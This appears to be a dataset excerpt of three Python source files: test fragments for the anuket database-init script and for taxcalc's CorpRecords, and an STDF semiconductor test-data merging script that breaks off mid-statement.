self._makeOne()\n command.args.config_uri = self.config_uri\n result = command.initialize_db()\n self.assertEqual(result, 1)\n self.assertEqual(self.output.getvalue().rstrip(\"\\n\"),\n \"There is already a database. \"\n \"Use the upgrade script instead!\")\n\n\nclass TestInitializeDBmain(AnuketScriptTestCase):\n \"\"\" Test for the `main` function of the `initializedb` the script.\"\"\"\n def _callFUT(self, argv):\n from anuket.scripts.initializedb import main\n return main(argv)\n\n def test_main(self):\n \"\"\" Test than the `main` function return the help message by default.\n \"\"\"\n # same as the `run` method without argument\n result = self._callFUT([])\n self.assertEqual(result, 2)\n self.assertEqual(self.output.getvalue()[0:6], \"usage:\")\n","repo_name":"lazaret/anuket","sub_path":"anuket/tests/test_script_initializedb.py","file_name":"test_script_initializedb.py","file_ext":"py","file_size_in_byte":5138,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"3832529471","text":"# CODING-STYLE CHECKS:\n# pycodestyle test_records.py\n\nimport os\nimport json\nimport numpy as np\nfrom numpy.testing import assert_array_equal\nimport pandas as pd\nimport pytest\nfrom io import StringIO\nfrom taxcalc import GrowFactors, Policy, CorpRecords, Calculator\n\n\ndef test_incorrect_Records_instantiation(cit_crosssample):\n with pytest.raises(ValueError):\n recs = CorpRecords(data=list())\n with pytest.raises(ValueError):\n recs = CorpRecords(data=cit_crosssample, data_type='cross-section',\n gfactors=list())\n with pytest.raises(ValueError):\n recs = CorpRecords(data=cit_crosssample, data_type='cross-section',\n gfactors=None, weights=list())\n with pytest.raises(ValueError):\n recs = CorpRecords(data=cit_crosssample, data_type='cross-section',\n gfactors=None, weights=None, start_year=list())\n with pytest.raises(ValueError):\n recs = CorpRecords(data=cit_crosssample, data_type='something wrong',\n gfactors=list())\n\n\ndef test_correct_Records_instantiation(cit_crosssample, cit_panelsample):\n rec1 = CorpRecords(data=cit_crosssample)\n # TODO: Add some checks for records\n assert True\n rec1.set_current_year(rec1.data_year + 1)\n wghts_path = os.path.join(CorpRecords.CUR_PATH,\n CorpRecords.CIT_WEIGHTS_FILENAME)\n wghts_df = pd.read_csv(wghts_path)\n rec2 = CorpRecords(data=cit_crosssample,\n gfactors=GrowFactors(),\n weights=wghts_df,\n start_year=CorpRecords.CITCSV_YEAR)\n # TODO: Repeat checks for records\n assert True\n assert rec2.current_year == rec2.data_year\n # try for panel results\n rec3 = CorpRecords(cit_panelsample, data_type='panel')\n assert rec3.current_year == CorpRecords.CITCSV_YEAR\n\n\ndef test_increment_year(cit_crosssample, cit_panelsample):\n recs = CorpRecords(data=cit_crosssample)\n assert recs.current_year == recs.data_year\n recs.increment_year()\n assert recs.current_year == recs.data_year + 1\n recs2 = CorpRecords(data=cit_panelsample, data_type='panel')\n assert recs2.current_year == recs2.data_year\n recs2.increment_year()\n assert recs2.current_year == recs2.data_year + 1\n\n\ndef test_for_duplicate_names():\n varnames = set()\n for varname in CorpRecords.USABLE_READ_VARS:\n assert varname not in varnames\n varnames.add(varname)\n assert varname not in CorpRecords.CALCULATED_VARS\n varnames = set()\n for varname in CorpRecords.CALCULATED_VARS:\n assert varname not in varnames\n varnames.add(varname)\n assert varname not in CorpRecords.USABLE_READ_VARS\n varnames = set()\n for varname in CorpRecords.INTEGER_READ_VARS:\n assert varname not in varnames\n varnames.add(varname)\n assert varname in CorpRecords.USABLE_READ_VARS\n\n\ndef test_records_variables_content(tests_path):\n \"\"\"\n Check completeness and consistency of records_variables.json content.\n \"\"\"\n # specify test information\n reqkeys = ['type', 'desc', 'form']\n first_year = Policy.JSON_START_YEAR\n last_form_year = 2017\n # read JSON variable file into a dictionary\n path = os.path.join(tests_path, '..', 'corprecords_variables.json')\n vfile = open(path, 'r')\n allvars = json.load(vfile)\n vfile.close()\n assert isinstance(allvars, dict)\n # check elements in each variable dictionary\n for iotype in ['read', 'calc']:\n for vname in allvars[iotype]:\n variable = allvars[iotype][vname]\n assert isinstance(variable, dict)\n # check that variable contains required keys\n for key in reqkeys:\n assert key in variable\n # check that required is true if it is present\n if 'required' in variable:\n assert variable['required'] is True\n # check that forminfo is dictionary with sensible years\n forminfo = variable['form']\n assert isinstance(forminfo, dict)\n for year_str in sorted(forminfo.keys()):\n year = int(year_str)\n assert year >= first_year\n assert year <= last_form_year\n","repo_name":"TPRU-India/taxcalc","sub_path":"taxcalc/tests/test_corprecords.py","file_name":"test_corprecords.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"6147320291","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 23 19:38:30 2023\n\n@author: dkane\n\"\"\"\n\n# V4 changes:\n# change part_info data structure to list \n \n# This script merges 2 or more stdf files\n# Merged file includes exactly 1 part result sequence per (x,y) coordinate\n# If bin 1 result exists for (x,y), merged file will use the bin 1 part result sequence\n# If no bin 1 result exists for (x,y), merged file will use the last occurence of (x,y) part result sequence\n# SBR and HBR are updated to reflect final bin counts\n# TSR records are not updated\n\n# Tests to validate script:\n# -check PID of each PRR - plot wafer map and verify serpentine pattern\n# -check part flag of each PRR - verify fails DO NOT supercede and passes DO supercede\n# -check Galaxy report and wafermap\n\n\nfrom Semi_ATE.STDF import utils\nfrom Semi_ATE.STDF import ATR\n\nimport struct\nimport sys\nimport os\nimport statistics\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom tkinter import filedialog\n\n\n\n# information from one or more STDF files\nclass stdf_info:\n \n MAX_4BYTE_FLOAT = 3.402823466e38\n MIN_4BYTE_FLOAT = -3.40282347e+38\n \n def __init__(self, fp_list = []):\n self.part_info = {}\n self.test_info = {}\n self.src_fps = []\n self.index = {}\n \n def build_rec_index(self, fp):\n assert os.path.isfile(fp), \"the file does not exist:\\n{}\".format(fp)\n assert utils.is_STDF(fp), \"the file is not stdf file:\\n{}\".format(fp)\n assert fp not in self.index, f\"already called build_rec_index for file: {fp}\"\n if fp not in self.src_fps:\n self.src_fps.append(fp)\n self.index[fp] = {\"TSRs\":[], \"PCRs\":[], \"SBRs\":[], \"HBRs\":[], \"part_recs\":{}}\n endian, version = utils.endian_and_version_from_file(fp)\n id_ts_dict = utils.id_to_ts()\n part_i = 1\n recs = []\n for i, rec in enumerate(utils.check_records_from_file(fp)):\n rec_len, rec_type, rec_sub, raw_bytes = rec\n recs.append(rec)\n if (rec_type,rec_sub) == id_ts_dict[\"PIR\"]:\n PTRs, FTRs = [], []\n start_i = i\n if (rec_type,rec_sub) == id_ts_dict[\"PTR\"]:\n # debug start\n # rec_obj = utils.create_record_object(version, endian, \"PTR\", raw_bytes)\n # print(rec_obj)\n # print(self.get_ptr_fields_from_raw_bytes(raw_bytes))\n # sys.exit()\n # debug stop\n PTRs.append(rec)\n if (rec_type,rec_sub) == id_ts_dict[\"FTR\"]:\n FTRs.append(rec)\n # debug start\n # print(raw_bytes)\n # rec_obj = utils.create_record_object(version, endian, \"FTR\", raw_bytes)\n # print(rec_obj)\n # print(self.get_ftr_fields_from_raw_bytes(rec_len, raw_bytes))\n # sys.exit()\n # debug stop\n if (rec_type,rec_sub) == id_ts_dict[\"PRR\"]:\n # debug start\n # rec_obj = utils.create_record_object(version, endian, \"PRR\", raw_bytes)\n # print(rec_obj.get_fields(\"PART_FLG\")[3])\n # debug stop\n stop_i = i\n self.index[fp][\"part_recs\"][part_i] = {\n \"PRS\":recs[start_i:stop_i+1], \"PTRs\":PTRs, \"FTRs\":FTRs}\n part_i += 1\n if (rec_type,rec_sub) == id_ts_dict[\"WRR\"]:\n self.index[fp][\"WRR\"] = rec\n if (rec_type,rec_sub) == id_ts_dict[\"TSR\"]:\n # debug start\n # rec_obj = utils.create_record_object(version, endian, \"TSR\", raw_bytes)\n # if rec_obj.get_fields('TEST_TYP')[3] == 'F':\n # print(rec_obj.get_fields('OPT_FLAG')[3])\n # degbu stop\n self.index[fp][\"TSRs\"].append(rec)\n if (rec_type,rec_sub) == id_ts_dict[\"PCR\"]:\n self.index[fp][\"PCRs\"].append(rec)\n if (rec_type,rec_sub) == id_ts_dict[\"SBR\"]:\n self.index[fp][\"SBRs\"].append(rec)\n if (rec_type,rec_sub) == id_ts_dict[\"HBR\"]:\n self.index[fp][\"HBRs\"].append(rec)\n if (rec_type,rec_sub) == id_ts_dict[\"MRR\"]:\n self.index[fp][\"MRR\"] = rec\n \n # Use this method to update part flags before merging multiple stdf files\n # PRR PART_FLG field bit 1 indicates if part result sequence does (1) or does not (0) supercede any previous part result sequence\n # PRR PART_FLG field bit 3 indicates if part passed (0) or failed (1)\n # Part flags must be updated to avoid the following situations\n # 1) 2nd stdf fail overrides 1st stdf pass\n # 2) 2nd stdf pass does not override 1st stdf fail\n def update_part_flags(self):\n for fp in self.src_fps:\n endian, version = utils.endian_and_version_from_file(fp)\n for part in self.part_info[fp].values():\n assert part['PART_FLG'][-5] == '0', \"part flag bit 4 is 1, therefore part flag pass/fail bit (bit 3) is invalid\"\n part['PART_FLG'][-2] = '1' if part['PART_FLG'][-4] == '0' else '0' # supersede previous results if part passed\n \n # debug start\n for part in self.part_info[fp].values():\n if part['PART_FLG'][-4] == '0': # part passed\n assert part['PART_FLG'][-2] == '1', f\"part flag bit 1 is {part['PART_FLG'][-2]}, expected '1'\"\n assert part['SOFT_BIN'] == 1, f\"expected soft bin 1 for passing part. SOFT_BIN == {part['SOFT_BIN']}\"\n assert part['HARD_BIN'] == 1, f\"expected hard bin 1 for passing part. HARD_BIN == {part['HARD_BIN']}\"\n else: # part failed\n assert part['PART_FLG'][-2] == '0', f\"part flag bit 1 is {part['PART_FLG'][-2]}, expected '0'\"\n assert part['SOFT_BIN'] != 1, f\"expected soft bin 1 for passing part. SOFT_BIN == {part['SOFT_BIN']}\"\n assert part['HARD_BIN'] != 1, f\"expected hard bin 1 for passing part. HARD_BIN == {part['HARD_BIN']}\"\n # debug stop\n \n def build_part_info(self, fp):\n assert os.path.isfile(fp), \"the file does not exist:\\n{}\".format(fp)\n assert utils.is_STDF(fp), \"the file is not stdf file:\\n{}\".format(fp)\n assert fp not in self.part_info, f\"already called build_part_info for file: {fp}\"\n if fp not in self.src_fps:\n self.src_fps.append(fp)\n self.part_info[fp] = {}\n endian, version = utils.endian_and_version_from_file(fp)\n part_i = 1\n for part in self.index[fp]['part_recs'].values():\n *_, raw_bytes = part[\"PRS\"][-1] # get PRR raw bytes\n rec_obj = utils.create_record_object(version, endian, \"PRR\", raw_bytes)\n pid = rec_obj.get_fields(\"PART_ID\")[3]\n part_flag = rec_obj.get_fields(\"PART_FLG\")[3]\n x = rec_obj.get_fields('X_COORD')[3]\n y = rec_obj.get_fields('Y_COORD')[3]\n hw_bin = rec_obj.get_fields('HARD_BIN')[3]\n sw_bin = rec_obj.get_fields('SOFT_BIN')[3]\n self.part_info[fp][part_i] = {'X_COORD':x, 'Y_COORD':y, 'HARD_BIN':hw_bin, 'SOFT_BIN':sw_bin, \n 'PART_ID':pid, 'fp':fp, 'part_i':part_i, 'PART_FLG':part_flag}\n # print(self.part_info[fp][part_i])\n part_i += 1\n \n # update index PRR's based on contents of part_info...\n def update_index(self):\n # update index PRR's from part_info\n for fp in self.src_fps:\n endian, version = utils.endian_and_version_from_file(fp)\n for part in self.part_info[fp].values():\n part_i = part['part_i']\n *_, prr_raw_bytes = self.index[fp]['part_recs'][part_i]['PRS'][-1]\n rec_obj = utils.create_record_object(version, endian, \"PRR\", prr_raw_bytes)\n for key in part:\n if key.isupper():\n rec_obj.set_value(key, part[key])\n prr_raw_bytes = rec_obj.__repr__()\n self.index[fp]['part_recs'][part_i]['PRS'][-1] = (*_, prr_raw_bytes)\n \n \n # FTR (15,20) @ V4\n # REC_LEN = '118' [U*2] (Bytes of data following header)\n # REC_TYP = '15' [U*1] (Record type)\n # REC_SUB = '20' [U*1] (Record sub-type)\n # TEST_NUM = '123500' [U*4] (Test number)\n # HEAD_NUM = '1' [U*1] (Test head number)\n # SITE_NUM = '1' [U*1] (Test site number)\n # TEST_FLG = '['0', '0', '0', '0', '0', '0', '0', '0']' [B*1] (Test flags (fail, alarm, etc.))\n # OPT_FLAG = '['1', '1', '1', '1', '0', '1', '1', '1']' [B*1] (Optional data flag)\n # CYCL_CNT = '0' [U*4] (Cycle count of vector)\n # REL_VADR = '0' [U*4] (Relative vector address)\n # REPT_CNT = '1' [U*4] (Repeat count of vector)\n # NUM_FAIL = '0' [U*4] (Number of pins with 1 or more failures)\n # XFAIL_AD = '0' [I*4] (X logical device failure address)\n # YFAIL_AD = '0' [I*4] (Y logical device failure address)\n # VECT_OFF = '0' [I*2] (Offset from vector of interest)\n # RTN_ICNT = '0' [U*2] (Count (j) of return data PMR indexes)\n # PGM_ICNT = '0' [U*2] (Count (k) of programmed state indexes)\n # RTN_INDX = '[]' [xU*2] (Array of j return data PMR indexes) -> RTN_ICNT\n # RTN_STAT = '[]' [xN*1] (Array of j returned states) -> RTN_ICNT\n # PGM_INDX = '[]' [xU*2] (Array of k programmed state indexes) -> PGM_ICNT\n # PGM_STAT = '[]' [xN*1] (Array of k programmed states) -> PGM_ICNT\n # FAIL_PIN = '[]' [D*n] (Failing pin bitfield)\n # VECT_NAM = 'GEN4_MZMD_spi_wr_rd_0xAA_01' [C*n] (Vector module pattern name)\n # TIME_SET = '2,1,1' [C*n] (Time set name)\n # OP_CODE = '' [C*n] (Vector Op Code)\n # TEST_TXT = 'TF_SPI_WRITE_READ_0xAA:Functional[1]' [C*n] (Descriptive text or label)\n # ALARM_ID = '' [C*n] (Name of alarm)\n # PROG_TXT = '' [C*n] (Additional programmed information)\n # RSLT_TXT = '' [C*n] (Additional result information)\n # PATG_NUM = '255' [U*1] (Pattern generator number)\n # SPIN_MAP = '[]' [D*n] (Bit map of enabled comparators)\n \n # example TSR:\n # TSR (10,30) @ V4\n # REC_LEN = '87' [U*2] (Bytes of data following header)\n # REC_TYP = '10' [U*1] (Record type)\n # REC_SUB = '30' [U*1] (Record sub-type)\n # HEAD_NUM = '255' [U*1] (Test head number)\n # SITE_NUM = '0' [U*1] (Test site number)\n # TEST_TYP = 'P' [C*1] (Test type [P/F/space])\n # TEST_NUM = '31004' [U*4] (Test number)\n # EXEC_CNT = '329' [U*4] (Number of test executions) #\n # FAIL_CNT = '0' [U*4] (Number of test failures) #\n # ALRM_CNT = '4294967295' [U*4] (Number of alarmed tests)\n # TEST_NAM = 'VgaBits:VGADNL8@VGADNL8[5]' [C*n] (Test name)\n # SEQ_NAME = '' [C*n] (Sequencer (program segment/flow) name)\n # TEST_LBL = 'GEN4_MZMD_dummy_01' [C*n] (Test label or text)\n # OPT_FLAG = '['1', '1', '0', '0', '1', '0', '0', '0']' [B*1] (Optional data flag See note)\n # TEST_TIM = '3.452648401260376' [R*4] (Average test execution time in seconds)\n # TEST_MIN = '-0.11750277131795883' [R*4] (Lowest test result value)\n # TEST_MAX = '0.10418523848056793' [R*4] (Highest test result value)\n # TST_SUMS = '-7.658430576324463' [R*4] (Sum of test result values)\n # TST_SQRS = '0.4415596127510071' [R*4] (Sum of squares of test result values)\n \n # Note: lolim and hilim only included in first occurence of each PTR\n \n def limit_size(self, val):\n val = val if val < self.MAX_4BYTE_FLOAT else self.MAX_4BYTE_FLOAT-1\n val = val if val > self.MIN_4BYTE_FLOAT else self.MIN_4BYTE_FLOAT+1\n return val\n \n def build_merged_test_info(self):\n assert self.index, \"index is uninitialized\"\n for fp in self.src_fps:\n endian, version = utils.endian_and_version_from_file(fp)\n for part_recs in self.index[fp]['part_recs'].values():\n for *_, raw_bytes in part_recs['PTRs']:\n ptr_fields = self.get_ptr_fields_from_raw_bytes(raw_bytes)\n tnum = ptr_fields[\"TEST_NUM\"]\n is_fail = int(ptr_fields[\"TEST_FLG\"][0])\n is_alarm = int(ptr_fields[\"TEST_FLG\"][7])\n if tnum not in self.test_info:\n self.test_info[tnum] = {\n 'TEST_NAM':ptr_fields[\"TEST_TXT\"], 'TEST_NUM':tnum, 'EXEC_CNT':0, \n 'FAIL_CNT':0, 'ALRM_CNT':0, 'TEST_TYP':\"P\", 'fp':fp, 'results':[]}\n self.test_info[tnum]['results'].append(ptr_fields[\"RESULT\"])\n self.test_info[tnum]['EXEC_CNT'] += 1\n if is_fail:\n self.test_info[tnum]['FAIL_CNT'] += 1\n if is_alarm:\n self.test_info[tnum]['ALRM_CNT'] += 1\n for rec_len, *_, raw_bytes in part_recs['FTRs']:\n ftr_fields = self.get_ftr_fields_from_raw_bytes(rec_len, raw_bytes)\n tnum = ftr_fields[\"TEST_NUM\"]\n is_fail = int(ftr_fields[\"TEST_FLG\"][0])\n is_alarm = int(ftr_fields[\"TEST_FLG\"][7])\n if tnum not in self.test_info:\n self.test_info[tnum] = {\n 'TEST_NAM':ftr_fields[\"TEST_TXT\"], 'TEST_NUM':tnum, 'EXEC_CNT':0, \n 'FAIL_CNT':0, 'ALRM_CNT':0, 'TEST_TYP':\"F\", 'fp':fp}\n self.test_info[tnum]['EXEC_CNT'] += 1\n if is_fail:\n self.test_info[tnum]['FAIL_CNT'] += 1\n if is_alarm:\n self.test_info[tnum]['ALRM_CNT'] += 1\n for test in self.test_info.values():\n if test['TEST_TYP'] == 'P':\n test['TEST_MIN'] = self.limit_size(min(test['results']))\n test['TEST_MAX'] = self.limit_size(max(test['results']))\n test['TST_SUMS'] = self.limit_size(sum(test['results']))\n test_mean = statistics.mean(test['results'])\n test['TST_SQRS'] = self.limit_size(sum([(x - test_mean)**2 for x in test['results']]))\n \n # def update_test_info(self):\n # assert self.part_info, \"part_info is empty. Call update_part_info_from_file() before update_test_info()\"\n # for fp in self.src_fps:\n # try:\n # self.index[fp]\n # except:\n # raise Exception(f\"no record index for file: {fp}. Call build_rec_index() before update_test_info()\")\n # for part in self.part_info.values():\n # part_i = part['part_i']\n # fp = part['fp']\n # endian, version = utils.endian_and_version_from_file(fp)\n # ts_id_dict = utils.ts_to_id()\n # for rec in (self.index[fp][part_i][\"PTRs\"] + self.index[fp][part_i][\"FTRs\"]):\n # _, rec_type, rec_sub, raw_bytes = rec\n # rec_id = ts_id_dict[(rec_type,rec_sub)]\n # test_type = 'P' if rec_id == 'PTR' else 'F'\n # rec_obj = utils.create_record_object(version, endian, rec_id, raw_bytes)\n # tnam = rec_obj.get_fields('TEST_TXT')[3]\n # tnum = rec_obj.get_fields('TEST_NUM')[3]\n # if test_type == 'P':\n # result = rec_obj.get_fields('RESULT')[3]\n # test_flg = rec_obj.get_fields('TEST_FLG')[3]\n # is_fail = int(test_flg[0])\n # is_alarm = int(test_flg[7])\n # if tnum not in self.test_info:\n # self.test_info[tnum] = {\n # 'tnam':tnam, 'tnum':tnum, 'exec_cnt':0, \n # 'fail_cnt':0, 'alarm_cnt':0, 'test_type':test_type, 'fp':fp}\n # if test_type == 'P':\n # self.test_info[tnum]['results'] = []\n # if test_type == 'P':\n # self.test_info[tnum]['results'].append(result)\n # self.test_info[tnum]['exec_cnt'] += 1\n # if is_alarm:\n # self.test_info[tnum]['alarm_cnt'] += 1\n # if is_fail:\n # self.test_info[tnum]['fail_cnt'] += 1\n # for test in self.test_info.values():\n # if test['test_type'] == 'P':\n # test['test_min'] = min(test['results'])\n # test['test_max'] = max(test['results'])\n # test['test_sums'] = sum(test['results'])\n # test_mean = statistics.mean(test['results'])\n # test['test_sqrs'] = sum([(x - test_mean)**2 for x in test['results']])\n #debug start\n # for test in self.test_info['P'].values():\n # print(test)\n # for test in self.test_info['F'].values():\n # print(test)\n #debug stop\n \n # X1 X2 X3 X4 X5 X6\n # Y1 (01)(02) -->\n # Y2 (06)(05)(04)(03) <--\n # Y3 (07)(08)(09)(10)(11)(12) -->\n # Y4 (18)(17)(16)(15)(14)(13) <--\n # Y5 (19)(20)(21)(22) --> \n # Y6 (24)(23) <--\n # PID sequence typically follows the above pattern\n # Use this function to reassign PIDs to conform to typical PID sequence (Serpentine prober stepping pattern)\n \n def reassign_pids(self):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file() to initialize part_info\"\n xy_list = []\n for fp in self.src_fps:\n xy_list += [(part['X_COORD'], part['Y_COORD']) for part in self.part_info[fp].values()]\n xy_list = [*set(xy_list)] # remove duplicates\n x_min, x_max = min([xy[0] for xy in xy_list]), max([xy[0] for xy in xy_list])\n y_min, y_max = min([xy[1] for xy in xy_list]), max([xy[1] for xy in xy_list])\n # print(\"y_min:\", y_min, \"y_max:\", y_max)\n # print(\"x_min:\", x_min, \"x_max:\", x_max)\n def xy_sort(xy):\n v1 = xy[1]\n v2 = xy[0] if not (xy[1] - y_min) % 2 else x_max - xy[0]\n return (v1, v2)\n xy_list.sort(key = xy_sort)\n for fp in self.src_fps:\n endian, version = utils.endian_and_version_from_file(fp)\n for part in self.part_info[fp].values():\n part['PART_ID'] = str(xy_list.index((part['X_COORD'],part['Y_COORD'])) + 1)\n \n #debug start\n # print wafer map with PID of each die\n \n # wmap = [[\" \" for i in range(x_max+1)] for j in range(y_max+1)]\n # for x,y in xy_list:\n # wmap[y][x] = str(xy_list.index((x,y))+1)\n # print(\"Wafer Map with PART_ID's:\")\n # print(\" \", end=\"\")\n # for x in range(x_max+1):\n # print(f\"{('X'+str(x).zfill(2)).rjust(4)}\", end=\"\")\n # for y in range(y_max+1):\n # print(f\"\\nY{str(y).zfill(2)}\", end=\"\")\n # for x in range(x_max+1):\n # print(f\"{wmap[y][x].rjust(4)}\", end=\"\")\n \n #debug stop\n \n ''' reassign_pids() rev0\n def reassign_pids(self):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file() to initialize part_info\"\n xy_list = []\n for fp in self.src_fps:\n xy_list += [(part['X_COORD'], part['Y_COORD']) for part in self.part_info[fp].values()]\n xy_list = [*set(xy_list)] # remove duplicates\n x_max = max([xy[0] for xy in xy_list])\n y_max = max([xy[1] for xy in xy_list])\n def xy_sort(xy):\n v1 = xy[1]\n v2 = xy[0] if xy[1] % 2 else x_max - xy[0]\n return (v1, v2)\n xy_list.sort(key = xy_sort)\n for fp in self.src_fps:\n endian, version = utils.endian_and_version_from_file(fp)\n for part in self.part_info[fp].values():\n part['PART_ID'] = str(xy_list.index((part['X_COORD'],part['Y_COORD'])) + 1)\n \n #debug start\n # print wafer map with PID of each die\n \n wmap = [[\" \" for i in range(x_max)] for j in range(y_max)]\n for x,y in xy_list:\n wmap[y-1][x-1] = str(xy_list.index((x,y))+1)\n print(\"Wafer Map with PART_ID's:\")\n print(\" \", end=\"\")\n for x in range(x_max):\n print(f\"{('X'+str(x+1).zfill(2)).rjust(4)}\", end=\"\")\n for y in range(y_max):\n print(f\"\\nY{str(y+1).zfill(2)}\", end=\"\")\n for x in range(x_max):\n print(f\"{wmap[y][x].rjust(4)}\", end=\"\")\n #debug stop\n '''\n \n def is_superceding(self, part_flag):\n assert part_flag[-5] == '0', \"part flag pass/fail bit is invalid\"\n if part_flag[-2] == '1': \n return True\n else:\n return False\n\n def is_pass(self, part_flag):\n assert part_flag[-5] == '0', \"part flag pass/fail bit is invalid\"\n if part_flag[-4] == '0': \n return True\n else:\n return False\n \n def build_wmap_dict(self, debug=False):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file to initialize part info\"\n wmap = {}\n for fp in self.src_fps:\n for part in self.part_info[fp].values():\n x, y = part[\"X_COORD\"], part[\"Y_COORD\"]\n if self.is_superceding(part[\"PART_FLG\"]) or (x,y) not in wmap:\n wmap[(x,y)] = part\n \n #debug start\n # print wafer map with HARD_BIN of each die\n \n # if debug:\n # xy_list = []\n # for fp in self.src_fps:\n # xy_list += [(part['X_COORD'], part['Y_COORD']) for part in self.part_info[fp].values()]\n # xy_list = [*set(xy_list)] # remove duplicates\n # x_max = max([xy[0] for xy in xy_list])\n # y_max = max([xy[1] for xy in xy_list])\n # wmap_text = [[\" \" for i in range(x_max+1)] for j in range(y_max+1)]\n # for x,y in xy_list:\n # wmap_text[y][x] = str(wmap[(x,y)]['HARD_BIN'])\n # print(\"Wafer Map with HARD_BINs:\")\n # print(\" \", end=\"\")\n # for x in range(x_max+1):\n # print(f\"{('X'+str(x).zfill(2)).rjust(4)}\", end=\"\")\n # for y in range(y_max+1):\n # print(f\"\\nY{str(y).zfill(2)}\", end=\"\")\n # for x in range(x_max+1):\n # print(f\"{wmap_text[y][x].rjust(4)}\", end=\"\")\n \n #debug stop\n return wmap\n \n def get_sw_bin_cnts(self):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file to initialize part info\"\n sw_bin_cnts = {}\n wmap = self.build_wmap_dict(debug=True)\n # count bins\n for part in wmap.values():\n sbin = part[\"SOFT_BIN\"]\n if sbin not in sw_bin_cnts:\n sw_bin_cnts[sbin] = 0\n sw_bin_cnts[sbin] += 1\n return sw_bin_cnts\n \n def get_hw_bin_cnts(self):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file to initialize part info\"\n hw_bin_cnts = {}\n wmap = self.build_wmap_dict()\n # count bins\n for part in wmap.values():\n hbin = part[\"HARD_BIN\"]\n if hbin not in hw_bin_cnts:\n hw_bin_cnts[hbin] = 0\n hw_bin_cnts[hbin] += 1\n return hw_bin_cnts\n \n def get_part_cnt(self):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file to initialize part info\"\n return len(self.build_wmap_dict())\n \n def get_good_cnt(self):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file to initialize part info\"\n wmap = self.build_wmap_dict()\n return sum([1 for part in wmap.values() if part['SOFT_BIN'] == 1])\n \n def get_retest_cnt(self):\n assert self.part_info, \"part_info dict is empty, Call update_part_info_from_file to initialize part info\"\n wmap = {}\n retest_cnt = 0\n for fp in self.src_fps:\n for part in self.part_info[fp].values():\n x, y = part[\"X_COORD\"], part[\"Y_COORD\"]\n if (x,y) not in wmap:\n wmap[(x,y)] = part\n else:\n retest_cnt += 1\n return retest_cnt\n \n def get_tsr_tnum_from_raw_bytes(self, raw_bytes):\n tnum = struct.unpack('I', raw_bytes[7:11])[0]\n return tnum\n \n def byte_to_bit_arr(self, raw_byte):\n bit_arr = ['0'] * 8\n for i in range(8):\n mask = 2**i\n if (mask & raw_byte) == mask:\n bit_arr[i] = '1'\n return bit_arr\n \n # this function is a faster alternative to utils.create_record_object() to PTR's\n # calls to utils.create_record_object() for PTR's is a bottleneck\n def get_ptr_fields_from_raw_bytes(self, raw_bytes):\n ptr_fields = {}\n ptr_fields['TEST_NUM'] = struct.unpack('I', raw_bytes[4:8])[0]\n num_chars = struct.unpack('b', raw_bytes[16:17])[0]\n ptr_fields['TEST_TXT'] = raw_bytes[17:17+num_chars].decode(\"utf-8\")\n ptr_fields['TEST_FLG'] = self.byte_to_bit_arr(raw_bytes[10])\n ptr_fields['RESULT'] = struct.unpack('f', raw_bytes[12:16])[0]\n return ptr_fields\n\n # this function is a faster alternative to utils.create_record_object() for FTR's\n # calls to utils.create_record_object() for FTR's is a bottleneck\n def get_ftr_fields_from_raw_bytes(self, rec_len, raw_bytes):\n ftr_fields = {}\n ftr_fields['TEST_NUM'] = struct.unpack('I', raw_bytes[4:8])[0]\n ftr_fields['TEST_FLG'] = self.byte_to_bit_arr(raw_bytes[10])\n offset = 38\n assert rec_len > offset, f\"no TEST_TXT field in FTR for test number {ftr_fields['TEST_NUM']}\"\n rtn_icnt = struct.unpack('H', raw_bytes[offset:offset+2])[0]\n pgm_icnt = struct.unpack('H', raw_bytes[offset+2:offset+4])[0]\n offset += 4\n if rtn_icnt != 0:\n offset += 3*rtn_icnt\n if pgm_icnt != 0:\n offset += 3*pgm_icnt\n num_bits = struct.unpack('H', raw_bytes[offset:offset+2])[0]\n offset += int(num_bits/8 + 2)\n for i in range(3):\n num_bytes = struct.unpack('b', raw_bytes[offset:offset+1])[0]\n offset += (num_bytes + 1)\n num_bytes = struct.unpack('b', raw_bytes[offset:offset+1])[0]\n ftr_fields['TEST_TXT'] = raw_bytes[offset+1:offset+1+num_bytes].decode(\"utf-8\")\n return ftr_fields\n\n\ndef write_merged_stdf_file(info): # takes as argument 'stdf_file_info' class\n assert len(info.src_fps), \"Need at least 1 source file\"\n fp1 = info.src_fps[0]\n file_dir = os.path.dirname(fp1)\n basename_wo_ext = os.path.splitext(os.path.basename(fp1))[0]\n splits = [x for x in basename_wo_ext.split('_') if not is_datecode(x)]\n fn_wo_datecode = \"_\".join(splits)\n fn = datetime.now().strftime(f\"{fn_wo_datecode}_%Y%m%d\")\n new_fp = file_dir + \"/\" + fn + \"_MERGED.stdf\"\n # assert not os.path.isfile(new_fp), \"file already exists: {}\".format(new_fp)\n if os.path.isfile(new_fp):\n inpt = input(\"\\nFILE ALREADY EXISTS: {}\\nOVERWRITE FILE (y/n)? 'n' will exit program:\".format(os.path.basename(new_fp)))\n if inpt[0] == \"n\":\n sys.exit()\n print(\"new_fp:\", new_fp)\n with open(new_fp, 'wb') as new_stdf:\n endian, version = utils.endian_and_version_from_file(fp1)\n id_ts_dict = utils.id_to_ts()\n ts_id_dict = utils.ts_to_id()\n \n # write recs up until first part result sequence\n insert_atr_flag = False\n for rec in utils.check_records_from_file(fp1):\n _, rec_type, rec_sub, raw_bytes = rec\n if (rec_type, rec_sub) == id_ts_dict[\"FAR\"]:\n insert_atr_flag = True\n if (rec_type, rec_sub) == id_ts_dict[\"PIR\"]:\n break\n new_stdf.write(raw_bytes)\n if insert_atr_flag:\n rec_obj = ATR(version=version, endian=endian)\n dt = datetime.now()\n program_info = \"This is a merged file; Program name: \" + os.path.basename(__file__) \n for i, fp in enumerate(info.src_fps):\n program_info += (\"; file#{}: \".format(i+1) + os.path.basename(fp)) # add merged files\n rec_obj.set_value(\"MOD_TIM\", int(dt.timestamp()))\n rec_obj.set_value(\"CMD_LINE\", program_info)\n raw_bytes = 